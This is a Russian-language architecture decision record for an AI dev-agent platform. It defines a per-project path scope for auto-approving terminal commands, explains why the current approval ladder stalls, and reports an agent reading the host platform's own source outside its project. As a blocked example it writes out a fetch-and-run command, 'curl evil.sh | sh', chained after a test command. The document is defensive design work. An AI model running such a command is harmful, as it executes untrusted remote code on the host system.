Перейти к основному содержимому

ADR 0055 — Область пути в политике терминала

Статус​

Принят — реализован и доказан тестом в Фазе F backlog.

Исправление того, что говорил этот документ, сделанное ДО принятия, а не после: исходное решение говорило о realpath. Реализация нормализует лексически (posix.normalize), потому что decide() чист по контракту — «ноль IO», — а разрешение символической ссылки потребовало бы трогать файловую систему внутри домена. Лексика убивает вектор, который описывает решение (<raiz>/../.. начинается с корня и выходит из него), и оставляет один открытым: symlink ВНУТРИ проекта, указывающий наружу, не обнаруживается. Закрыть его — это изоляция, а не политика, — та же половина, которую раздел последствий уже объявляет вне охвата.

Контекст​

Лестница одобрения terminal на практике неработоспособна, и это было измерено, а не почувствовано. В сессии 1f94de49 проекта hello-limpo, с настоящим dev agent и моделью через API:

меразначение
предложенные действия14
ходы dev agent15
входные / выходные токены209.031 / 4.546
стоимость dev agentUS$ 0,0196
строк, написанных для задачи0

Задача была «Expor rota GET pública /api/saudacao». Ни одной строки не вышло, потому что практически каждый ход заканчивался ожиданием клика.

Почему КАЖДАЯ команда просит одобрения​

Два независимых дефекта, оба проверены в коде и в живом файле.

1. cd отклоняет всю команду. Составная команда является auto_approve только когда ВСЕ сегменты совпадают в allow (apps/api/src/domain/actions/decide.ts:201, perSegment.every(...)) — правило верное, именно оно не даёт pnpm test && curl evil.sh | sh пройти по первой половине. Но dev agent всегда испускает cd <caminho> && <verbo>, а cd нет в DEV_TERMINAL_ALLOW_PATTERNS. Глагол (cat, find, ls) разрешён; cd впереди рушит всё. На практике засеянный allow почти никогда не достигается.

2. «Всегда разрешать» почти ничего не разрешает. Оно записывает всю буквальную команду как шаблон. Из реального permissions.json hello-limpo:

"Terminal(cd /data/project-workspaces/9c7c84f0-…/.worktrees/dev-http-api && find . -type f | head -50; echo \"---docs---\"; ls -la docs .github; echo \"---\"; cat .git 2>/dev/null)"

Сопоставление идёт по префиксу токена (apps/api/src/domain/actions/command-matcher.ts:90), поэтому этот шаблон снова сработал бы, только если бы модель заново испустила те же ~200 символов. Этого никогда не происходит. Пользователь нажимает «Всегда разрешать», и его снова спрашивают на следующем ходу — запасной выход не выводит.

Чего хочет пользователь, и это невыразимо​

Запрошенное правило — «всегда, если это в папке проекта». Сегодня это невозможно записать: сопоставление идёт по префиксу токена КОМАНДЫ, а у decide.ts есть понятие пути только для write_file (белый список путей Фазы 3a), никогда для terminal.

Отягчающее обстоятельство, которое выявило выполнение​

Внутри исполнителя терминала /workspace — это монорепозиторий самого Brabo, а не worktree проекта. Worktree — это /data/project-workspaces/<projectId>/.worktrees/<agentId>. Dev agent hello-limpo тратил ходы на чтение apps/engine/mix.exs и даже предложил cat lib/engine/actions/git_executor.ex и sed -n '1,120p' lib/engine/dev/context_builder.ex — исполнитель git и построитель контекста платформы, которая его выполняет.

То есть сегодня не существует никакого понятия «папки проекта», а охват агента больше, чем его проект. Область пути — это не только эргономика; это недостающая граница.

Решение​

Ввести область пути как этап решения для terminal.

  1. Область принадлежит проекту. Каждый проект объявляет свой корень — /data/project-workspaces/<projectId>, — и каждый worktree агента живёт под ним. Команда находится «в области», когда эффективный cwd и каждый абсолютный путь, который она упоминает, разрешаются внутрь этого корня.

  2. Разрешение по REALPATH, никогда по строковому префиксу. <raiz>/../.. начинается с корня и выходит из него. Сравнение делается по нормализованному пути; .., который выходит наружу, отклоняется. (Это решение — прямое следствие паллиатива, применённого в production, пока писался этот ADR, который использует строковый префикс и имеет ровно эту слабость.)

  3. Область разрешает, а не освобождает. Нахождение в области меняет значение по умолчанию с require_approval на auto_approve только для объявленного набора глаголов чтения и сборки — в том же духе, что сегодняшние DEV_TERMINAL_ALLOW_PATTERNS. Нахождение в папке проекта не делает curl … | sh безопасным. Сетевой egress, установка пакетов и глагол вне набора по-прежнему требуют одобрения.

  4. deny по-прежнему побеждает, всегда и первым. Область никогда не отменяет deny, ни встроенные шаблоны, ни два потолка (merge в защищённую ветку и instruction_patch), которые остаются нетронутыми (RN-006, RN-007).

  5. Вне области — require_approval, а не deny. У агента может быть законная причина посмотреть наружу; решает по-прежнему пользователь. Меняется то, что это становится редким исключением, а не правилом.

  6. «Всегда разрешать» начинает обобщать. Вместо буквальной команды оно записывает префикс токенов сегмента, вызвавшего вопрос. Шаблон, который больше никогда не совпадает, хуже, чем никакой: он учит пользователя не доверять кнопке.

  7. Событие фиксирует область. Автоодобрение по области записывает в proposed_action.created, какой корень его разрешил, чтобы прохождение было измеримым по event log, в духе ADR 0048 и ADR 0054.

Последствия​

Что улучшается. Выполнение перестаёт умирать на лестнице: агент читает и собирает внутри собственного worktree, не прерывая пользователя, а пользователя снова зовут для того, что действительно имеет эффект, — git, сеть, расходы и всё, что вне проекта.

Что теряется. Перестаёт быть правдой, что каждая команда терминала проходит перед глазами пользователя. Это реальное ослабление инварианта CLAUDE.md, и оно принимается с открытыми глазами: измеренная альтернатива — продукт, который не поставляет ни строки кода.

Чего этот ADR НЕ решает. Область — это политика, а не изоляция. Пока монорепозиторий Brabo смонтирован в /workspace внутри контейнера, который выполняет команды, граница зависит от того, верна ли политика. Настоящая изоляция (монтирование, контейнер на проект) — другая проблема, и она зафиксирована здесь как явный незакрытый вопрос, а не смешана с этим решением.

Процессное предусловие. ФАЗА 13 объявляет «Никаких новых функций и никаких исправлений». Реализация этого требует снятия этой заморозки — решение пользователя, зафиксированное здесь, потому что ADR не может разрешить сам себя.

Рассмотренные альтернативы​

Поставить cd в allow. Свободный Terminal(cd) разрешает cd куда угодно, включая /workspace. Это убрало бы трение, сделав ровно противоположное намерению, — охват стал бы больше, а не меньше.

Автоодобрять terminal через agent_autonomy. Уже отвергнуто в docs/reference/permissions.md: это разрешило бы ЛЮБУЮ команду внутри контейнера engine, без файла посередине. Это шире, чем проблема.

Улучшить только «Всегда разрешать». Обобщение записанного шаблона помогает (и включено выше), но само по себе не выражает «в папке проекта» — это оставалось бы разрешением по глаголу, действующим в любом каталоге.

Оставить как есть. Отвергнуто измерением в начале этого документа.

Ссылки​

  • ADR 0052 — агент ждёт решения вместо того, чтобы сжигать итерации; этот ADR атакует причину того, что решений, которых нужно ждать, так много.
  • RN-004, RN-005, RN-068, RN-073.
  • apps/api/src/domain/actions/decide.ts, apps/api/src/domain/actions/command-matcher.ts, apps/api/src/domain/actions/dev-terminal-patterns.ts, apps/api/src/infrastructure/filesystem/fs-permissions-file-store.ts.